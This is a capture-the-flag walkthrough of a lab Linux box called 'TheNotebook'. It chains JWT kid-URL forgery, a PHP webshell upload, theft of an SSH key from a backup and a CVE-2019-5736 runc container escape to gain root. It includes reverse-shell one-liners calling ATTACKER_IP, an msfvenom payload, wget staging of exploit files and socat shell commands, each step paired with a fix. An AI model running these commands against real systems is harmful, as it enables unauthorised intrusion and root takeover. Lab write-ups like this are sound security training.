← all walkthroughs

TheNotebook

Linux· Medium· Web
owned
2026-07-11
time to own
7m0s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I registered a free account on a PHP note-keeping web app and discovered that its JWT authentication cookie used the RS256 algorithm with a kid header parameter that told the server where to fetch the signing key — a URL the server blindly retrieved. By generating a personal RSA keypair, hosting the private key on my own HTTP server, and forging a new token claiming administrator rights, I tricked the server into accepting a self-signed credential, granting access to the admin panel.

The unrestricted /admin/upload endpoint accepted a PHP webshell, delivering a reverse shell as the web user (www-data). A world-readable backup archive in /var/backups/ contained user noah's SSH private key in plaintext, enabling lateral movement and capture of the user flag.

Noah's sudo policy permitted running docker exec as root against a development container running Docker 18.06.0-ce, which is vulnerable to CVE-2019-5736 (runc binary overwrite). I staged the public exploit inside the container, overwrote the host runc binary with a malicious payload, then triggered a second docker exec to execute the payload as root on the host — achieving full system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"

Attack path — how the box was taken

1ReconnaissanceNetwork and web service enumeration (T1046, T1595.003)
Mapped exposed services and identified the web application
An nmap scan of $TARGET found two open TCP ports: 22 (OpenSSH 7.6p1) and 80 (nginx 1.14.0 serving a PHP application). Browsing port 80 revealed 'The Notebook — Your Note Keeper', a note-keeping web app with /register, /login, and /admin routes. The /admin route returned HTTP 403 without a valid admin session, flagging it as an authorization-gated target.
HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) … <title>The Notebook - Your Note Keeper</title>; curl /admin -> 403 FORBIDDEN
Exact commands 2
Identify open ports and grab HTTP title to fingerprint the web app.
nmap -Pn -sV -p 22,80 --script http-title $TARGET
Confirm the app landing page and verify /admin returns 403 without a cookie.
curl -si http://$TARGET/ && curl -si http://$TARGET/admin
2ExploitationJWT kid URL injection / algorithm confusion (CWE-347, T1550.001)
Forged an admin JWT by abusing the kid URL key-fetch mechanism
Registering a normal account at /register caused the server to issue an auth JWT cookie signed with RS256. Decoding the header revealed a kid parameter set to http://localhost:7070/privKey.key — the URL the server fetches to obtain the public key for signature verification. The payload contained [REDACTED: recovered credential] 0. I generated a fresh RSA-2048 keypair, hosted the private key on a local HTTP server, crafted a new JWT with [REDACTED: recovered credential] 1 and kid pointing to my server, signed it RS256 with my own private key, and set it as the auth cookie. The server fetched my key and accepted the forged token as a valid admin session.
COOKIE {'auth': 'eyJ…kid":"http://localhost:7070/privKey.key"}…"[REDACTED: recovered credential]":0}'; $TARGET - - [11/Jul/2026 18:50:25] "GET /private.key HTTP/1.1" 200 -
Exact commands 4
Generate my RSA keypair.
openssl genrsa -traditional -out private.key 2048 && openssl rsa -in private.key -pubout -out public.key
Host the private key so the target server can fetch it at http://$ATTACKER_IP:8000/private.key.
python3 -m http.server 8000
Forge the admin JWT. Replace $ATTACKER_IP with your IP. Requires PyJWT: pip install pyjwt[crypto].
python3 -c "
import jwt, json
privkey = open('private.key').read()
token = jwt.encode({'username':'$USERNAME','email':'$USERNAME@test.com','admin_cap':1}, privkey, algorithm='RS256', headers={'kid':'http://$ATTACKER_IP:8000/private.key'})
print(token)
"
Confirm the forged token reaches the admin panel (expect HTTP 200 + admin links).
curl -si http://$TARGET/admin -H 'Cookie: auth=<forged-token>'
FixDisable JWT kid URL key-fetch and enforce a fixed, server-side signing keyCritical
WeaknessThe application's JWT library was configured to honour the kid header parameter as an arbitrary URL and fetch the signing key from it at runtime. Anyone who could register a normal account could forge any token — including an admin token — simply by hosting their own RSA key and pointing kid at it.
FixRemove the kid-as-URL lookup entirely. Store the server's RSA public key as a static file or environment variable loaded at startup, and hard-code the verification call to use only that key. If multiple keys are needed, implement kid as an opaque index into a server-managed keystore — never as a retrievable URL. Rotate the current signing key immediately and invalidate all existing sessions.
3ExploitationUnrestricted file upload leading to remote code execution (CWE-434, T1505.003)
Uploaded a PHP webshell through the unrestricted admin file-upload endpoint
With admin access, the /admin/upload endpoint accepted an arbitrary file upload. A PHP reverse-shell payload was uploaded; the server renamed it to a random hex string with a .php extension and stored it under the web-accessible uploads directory. Requesting the returned hex filename directly executed the PHP code server-side as the www-data web process.
UPLOAD 200 http://$TARGET/admin/upload ; uid=33(www-data) gid=33(www-data) groups=33(www-data) thenotebook
Exact commands 4
Create the PHP reverse-shell payload. Replace $ATTACKER_IP with your IP.
echo '<?php passthru("bash -c \"bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1\""); ?>' > shell.php
Upload the webshell as admin; note the returned hex filename (e.g., 3f7a1c.php).
curl -si -X POST http://$TARGET/admin/upload -H 'Cookie: auth=<forged-token>' -F 'file=@shell.php'
Start the reverse-shell listener before the next step.
nc -lvnp 4444
Trigger the uploaded shell. Replace <hex>.php with the filename returned above.
curl -si http://$TARGET/uploads/<hex>.php
FixBlock server-side execution of uploaded filesCritical
WeaknessThe /admin/upload endpoint accepted any file type and stored uploads in a directory served by nginx + PHP-FPM, allowing an unauthorised user with admin access to upload a .php file and execute arbitrary OS commands as the web process.
FixEnforce a strict allowlist of non-executable MIME types and extensions (e.g., .txt, .png, .jpg only) on the server side. Rename uploaded files to non-executable extensions regardless of the original name. Serve the uploads directory from a separate origin or via a storage bucket, and configure nginx to deny PHP execution in that path (location /uploads { ... deny all; } combined with no fastcgi_pass). Validate file magic bytes server-side (not only the extension).
4FootholdTTY upgrade via socat (T1059.004)
Stabilized a persistent interactive shell as www-data
The initial reverse shell from the PHP webshell was a raw bash connection. The shell was upgraded to a full PTY session using socat to enable interactive commands and job control, giving a stable foothold on host 'thenotebook' as uid=33 (www-data).
[stabilize] ok=true method=socat user=www-data channel=reverse-shell (pty-upgraded); uid=33(www-data) gid=33(www-data) groups=33(www-data) thenotebook
Exact commands 2
Local socat listener for upgraded PTY. Run alongside the nc listener.
socat file:`tty`,raw,echo=0 tcp-listen:4445
Run from within the initial www-data shell to upgrade to a full PTY.
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:$ATTACKER_IP:4445
5Lateral MovementCredential theft from insecure backup (T1552.001)
Extracted noah's SSH private key from a world-readable backup archive
Local enumeration of /var/backups/ revealed home.tar.gz, a compressed archive of all home directories, readable by any user on the system. Extracting the archive disclosed user noah's complete home directory including an unencrypted SSH private key at .ssh/id_rsa. No passphrase protection was in place.
Chmod 600 /tmp/notebook/noah_id_rsa && ssh -i /tmp/notebook/noah_id_rsa … noah@$TARGET 'id; cat /home/noah/user.txt'
Exact commands 4
From the www-data shell — confirm the archive is world-readable.
ls -la /var/backups/home.tar.gz
Extract the backup.
mkdir -p /tmp/nbhome && tar -xzf /var/backups/home.tar.gz -C /tmp/nbhome
Locate the SSH private key in the extracted tree.
find /tmp/nbhome -name 'id_rsa' 2>/dev/null
Exfiltrate the key to my machine for SSH login.
cat /tmp/nbhome/home/noah/.ssh/id_rsa
FixRemove world-readable permissions from backup archives containing credentialsHigh
WeaknessThe file /var/backups/home.tar.gz was readable by all users on the system (mode 644 or similar). It contained the SSH private key of user noah with no passphrase, so any process — including the unprivileged www-data web process — could extract it and use it to authenticate as noah over SSH.
FixRestrict the permissions on all backup archives to 600 or 640, owned by root (e.g., chmod 600 /var/backups/home.tar.gz). Audit /var/backups/ and any other backup directories for world-readable files. Store SSH private keys with a strong passphrase and rotate the noah keypair immediately. Exclude private keys from backup archives, or encrypt the archive before storage.
6Lateral MovementSSH authentication with stolen private key (T1078, T1021.004)
Authenticated as user noah via stolen SSH key and captured the user flag
The RSA private key extracted from the backup was used directly to authenticate over SSH as user noah, bypassing any password requirement. Noah's interactive session confirmed lateral movement from the www-data web process to a real user account and allowed retrieval of the user flag from /home/noah/user.txt.
Chmod 600 /tmp/notebook/noah_id_rsa && ssh -i /tmp/notebook/noah_id_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 noah@$TARGET 'id; cat /home/noah/user.txt'
Exact commands 1
Authenticate as noah and read the user flag. Flag value is <user.txt>.
chmod 600 noah_id_rsa && ssh -i noah_id_rsa -o StrictHostKeyChecking=no noah@$TARGET 'id; cat /home/noah/user.txt'
7Privilege EscalationCVE-2019-5736 runc container escape via /proc/self/exe overwrite (T1611)
Exploited CVE-2019-5736 runc overwrite via an overly permissive sudo docker exec rule
sudo -l as noah showed the rule (root) NOPASSWD: /usr/bin/docker exec -it webapp-dev01*, permitting noah to exec into the running container as root. The host's Docker version (18.06.0-ce) was vulnerable to CVE-2019-5736: a malicious container process can overwrite the host's runc binary through /proc/self/exe at the moment a new exec is invoked, causing the host system to run my own code as root. The twistlock RunC-CVE-2019-5736 PoC was staged into the container via docker exec and wget. A msfvenom linux/x64 reverse-shell ELF replaced the PoC's new_runc placeholder; replace.sh was run inside the container to overwrite the host runc binary. A second sudo docker exec -it webapp-dev01 /bin/bash from noah's session triggered the overwritten runc on the host, catching a root reverse shell (uid=0) on the actual target IP.
Sudo -l shows NOPASSWD: /usr/bin/docker exec -it webapp-dev01*; docker -v = 18.06.0-ce; id; hostname; cat /root/root.txt → uid=0 on $TARGET
Exact commands 9
Confirm the sudo rule and Docker version.
ssh -i noah_id_rsa noah@$TARGET 'sudo -l; docker -v'
Verify command execution inside the container as root.
ssh -i noah_id_rsa noah@$TARGET 'sudo /usr/bin/docker exec -it webapp-dev01 id'
On my machine: clone the PoC repository.
git clone https://github.com/twistlock/RunC-CVE-2019-5736.git && cd RunC-CVE-2019-5736/exec_POC
Build the malicious runc payload. Replace $ATTACKER_IP with your IP.
msfvenom -p linux/x64/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=5555 -f elf -o new_runc
Serve the PoC files from my machine so the container can wget them.
python3 -m http.server 8001
Stage PoC files into the container, back up /bin/bash, install bash_evil, and run replace.sh to queue the runc overwrite.
ssh -i noah_id_rsa noah@$TARGET "sudo /usr/bin/docker exec -it webapp-dev01 bash -c 'cd /tmp && wget http://$ATTACKER_IP:8001/RunC-CVE-2019-5736/exec_POC/replace.sh && wget http://$ATTACKER_IP:8001/RunC-CVE-2019-5736/exec_POC/new_runc && wget http://$ATTACKER_IP:8001/RunC-CVE-2019-5736/exec_POC/bash_evil && chmod +x replace.sh new_runc bash_evil && cp /bin/bash /bin/bash.bak && cp bash_evil /bin/bash && bash replace.sh'"
Start root reverse-shell listener on my machine before the next step.
nc -lvnp 5555
Trigger the exploit: this docker exec invocation causes the host runc to be overwritten and the payload to fire, delivering a root shell to the listener.
ssh -i noah_id_rsa noah@$TARGET 'sudo /usr/bin/docker exec -it webapp-dev01 /bin/bash'
In the root shell: confirm uid=0 on $TARGET and read the root flag (<root.txt>).
id; hostname; cat /root/root.txt
FixUpgrade Docker and eliminate the unrestricted `docker exec` sudo ruleCritical
WeaknessUser noah was allowed to run /usr/bin/docker exec -it webapp-dev01* as root with no password. The installed Docker version (18.06.0-ce) is vulnerable to CVE-2019-5736, a container-escape that lets a process inside the container overwrite the host's runc binary at exec time, achieving arbitrary code execution as root on the host.
FixUpgrade Docker Engine to 18.09.2 or later (which patches CVE-2019-5736) and keep it current. Remove the docker exec sudo rule entirely — operator access to containers should go through a proper secrets-manager or privileged-access workstation, not an open sudo rule. If container access is required operationally, use Docker's rootless mode or user namespaces to prevent container processes from reaching host resources. Audit all other sudo rules for unrestricted access to container runtimes.

Attack patterns used

The transferable techniques behind this compromise.

Unrestricted File UploadWebT1505.003

What it is

An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.

Why it works

Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.

Read more

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

Exposed services

22/tcp
80/tcp